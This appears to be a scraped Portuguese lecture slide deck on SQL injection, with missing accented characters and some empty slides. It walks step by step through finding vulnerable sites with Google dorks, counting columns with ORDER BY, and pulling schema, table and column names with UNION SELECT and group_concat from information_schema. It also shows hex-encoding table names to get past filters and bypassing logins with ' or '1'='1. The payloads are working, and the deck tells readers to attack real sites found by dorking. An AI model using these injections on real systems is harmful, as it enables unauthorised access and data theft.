Professional Documents
Culture Documents
Segurana
Conceito
A SQL Injection uma forma de manipular as instrues SQL utilizados em pginas dinmicas, ou seja, pginas que contenham contedo baseado em banco de dados. O conceito bsico tentar manipular as instrues SQL e variveis que so passadas de um formulrio para outro, atravs da juno de outros comandos SQL. Isso somente possvel, se o desenvolvedor do WebSite no programou uma soluo que preveja e proteja esse tipo de problema.
Segurana
Conceito
Cabe ressaltar que essa tcnica pode ser utilizada com qualquer linguagem de programao Server-Side Script, pois a falha no da linguagem e sim da implementao.
Vamos entender como a estrutura de um banco de dados:
Segurana
Conceito
Database Tabelas Colunas Contedo das Colunas
Segurana
Conceito
Uma das formas de se executar compreende localizar um site vulnervel e tentar o acesso de manipulando as tabelas atravs da insero de comandos SQL na prpria URL do website, dessa forma, possvel descobrir dados do banco de dados e ainda acessar a parte administrativa do mesmo.
Outra forma inserir tags no campos de formulrio de forma que falsifique a autenticao dos dados de login.
Segurana
Segurana
Inserindo SQL na URL Algumas vezes voc vai achar o exploit j com o caminho todo feito para se fazer a sqli, mas esse no nosso objetivo, queremos fazer na mo mesmo, ento vamos pegar algum site encontrado tanto dessa forma que citei a cima ou por dorks e vamos comear o passo a passo.
Segurana
Inserindo SQL na URL Outra forma buscas no Google atravs de uma busca parcial de uma URL, baseada em banco de dados. Normalmente, quando realizada uma requisio em um site, passado atravs da URL um ou mais identificadores para ser realizada a busca no banco de dados, por exemplo:
http://www.salesianoata.br/faculdades/index.php?fcs=noticias&op=1119
Isso indica a passagem de identificadores FCS com o valor noticias e OP com o valor 1119.
8 Prof. Alexandre Marcelino
Segurana
Inserindo SQL na URL extremamente comum encontrarmos nomes triviais nos websites, tanto em relao aos scripts como em relao a identificadores. Nomes comuns de scripts:Noticias, new, fotos,index, principal, agenda, etc Nomes comuns de identificadores: id, cod, codigo, cod_id, id_cod, etc
Segurana
Inserindo SQL na URL Baseado nisso voc pode utilizar a tag INURL para busca uma combinao de pginas que utilizem esses dados padres. Exemplo: inurl:noticias.php?id=
Essa combinao ir buscar scripts na linguagem PHP com o nome de NOTICIAS e que passem atravs da Url um identificador chamado ID.
Segurana
Segurana
Segurana
Simples! Ao final da url voc adiciona o comando order by e vai adicionando uma sequncia de Colunas/Tabelas, ou seja, voc pode acionar a coluna correspondente. vamos ento solicitar ao servidor essas informaes
13 Prof. Alexandre Marcelino
Segurana
Se no aparecer nenhum erro por que esta Coluna/Tabela nmero 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, ento o ideal voc ir acrescentado valor at que o site retorne um erro dizendo que a Coluna/Tabela inexistente no banco de dados.
Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 1-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 2-SEM ERRO, A PGINA CARREGOU NORMAL
14 Prof. Alexandre Marcelino
Segurana
Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 3-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 4-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 5-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 6-SEM ERRO, A PGINA CARREGOU NORMAL
15 Prof. Alexandre Marcelino
Segurana
Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 7-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 8-SEM ERRO, A PGINA CARREGOU NORMAL Cdigo: http://www.site.com/news_item.php?id=1 ORDER BY 9-ERRO! Algum erro apareceu na pgina
O que isso quer dizer? Que a tabela que est sendo utilizada na pgina tem 8 colunas.
16 Prof. Alexandre Marcelino
Segurana
Segurana
Faa a unio de todas as informaes contidas das Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do site: http://www.site.com/news_item.php . Est e a ordem que voc atribui ao comando colocado na url do site.
Cdigo:
Segurana
Explicando a Sql: O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informaes contidas nas Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do banco. Cdigo: ...?id ... union all select 1,2,3,4,5,6,7,8
Segurana
Inserindo SQL na URL Aps ter feito isso, deve ter sido mostrado algum nmero na tela, esse nmero indica qual coluna vulnervel(pode ser mostrado mais de uma coluna) no nosso tutorial vamos encarar como se tivesse sido mostrado o nmero 2. no se esquecer do "-" depois do =.
Segurana
Segurana
6) Achando o nome do banco de dados: Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8 FROM information_schema.schemata
Aps esse comando ser retornado o nome do banco de dados, prestar ateno que pode aparecer mais de um nome, isso significa que alm da database da aplicao que estamos no momento, o site possui outras. Isso ocorre normalmente quando o site est hospedado em um datacenter, ou empresa de hospedagem de site.
22 Prof. Alexandre Marcelino
Segurana
Segurana
Segurana
Se tudo deu certo ser mostrado o nome de vrias tabelas, cabe a voc escolher de qual tabela retirar o nome das colunas(no prximo passo), para ilustrar nosso exemplo, vamos dizer que encontramos as tabelas chamadas "user,forum,files,bans
Mais ou menos o que esse comando quer dizer "junte as tabelas e pegue o nome delas do local information_schema.tables, que por sua vez pode ser encontrado na database"
Segurana
Segurana
Deu tudo certo? tem grandes chances que no tenha dado, nessa etapa muitas vezes voc tem variar um pouco o comando pra "enganar" o server e permitir voc fazer essa solicitao, pra isso vamos fazer o seguinte: Pegue o nome da tabela que queremos "abrir" no nosso caso a tabela com nome user. entre no site http://www.swingnote.com/tools/texttohex.php ou http://www.string-functions.com/string-hex.aspx
Segurana
Escreva o nome da tabela e clique em "Convert", fazendo isso voc vai ter o equivalente em hexadecimal da palabra user, que no caso foi igual a "75736572" agora podemos voltar para a URL do site vulnervel e efetuar esse comando:
Cdigo: http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name=0x75736572-28 Prof. Alexandre Marcelino
Segurana
Perceba que acrescentamos 0x antes do valor hexadecimal para informar ao server que deve interpretar aquilo como hexadecimal. Dando tudo certo, voc tem agora em mos, o nome das colunas que esto dentro da tabela user certo? Vamos usar como exemplo que dentro tabela user encontramos as colunas com os seguintes nomes "id,first_name,email,login,password", no prximo passo veremos como ver o contedo delas.
Segurana
Segurana
Injetando em Formulrios
O conceito tentar forjar a autenticao de login e senha. Alguns dos sites usam para autenticar os usurios, uma tabela num banco de dados relacional que contm todos os logins e senhas que tem acesso. A jogada est na forma como eles usam param autenticar usurios: uma string SQL que concatenada com o login e senha que o usurio passa num formulrio.
select * from tabelaUsuario where login="+ id_form+ ' and senha ="+senha_form+" "
31 Prof. Alexandre Marcelino
Segurana
Injetando em Formulrios
O script faz a consulta e testa: se voltou algum registro, o usurio passou as credenciais corretas. Podemos manipular essa SQL jogando nos campos de usurio e senha, valores que foram a volta de registros !!
Por exemplo: Colocamos como login o valor [' or '1'='1] (Sem cochetes) Colocamos como senha o valor [' or '1'='1] (Sem cochetes)
Segurana
Injetando em Formulrios
Segurana
Injetando em Formulrios
No Firefox
https://addons.mozilla.org/pt-BR/firefox/addon/6727 D apoio/auxlio na injeo dos cdigos da SQL Injection.
Segurana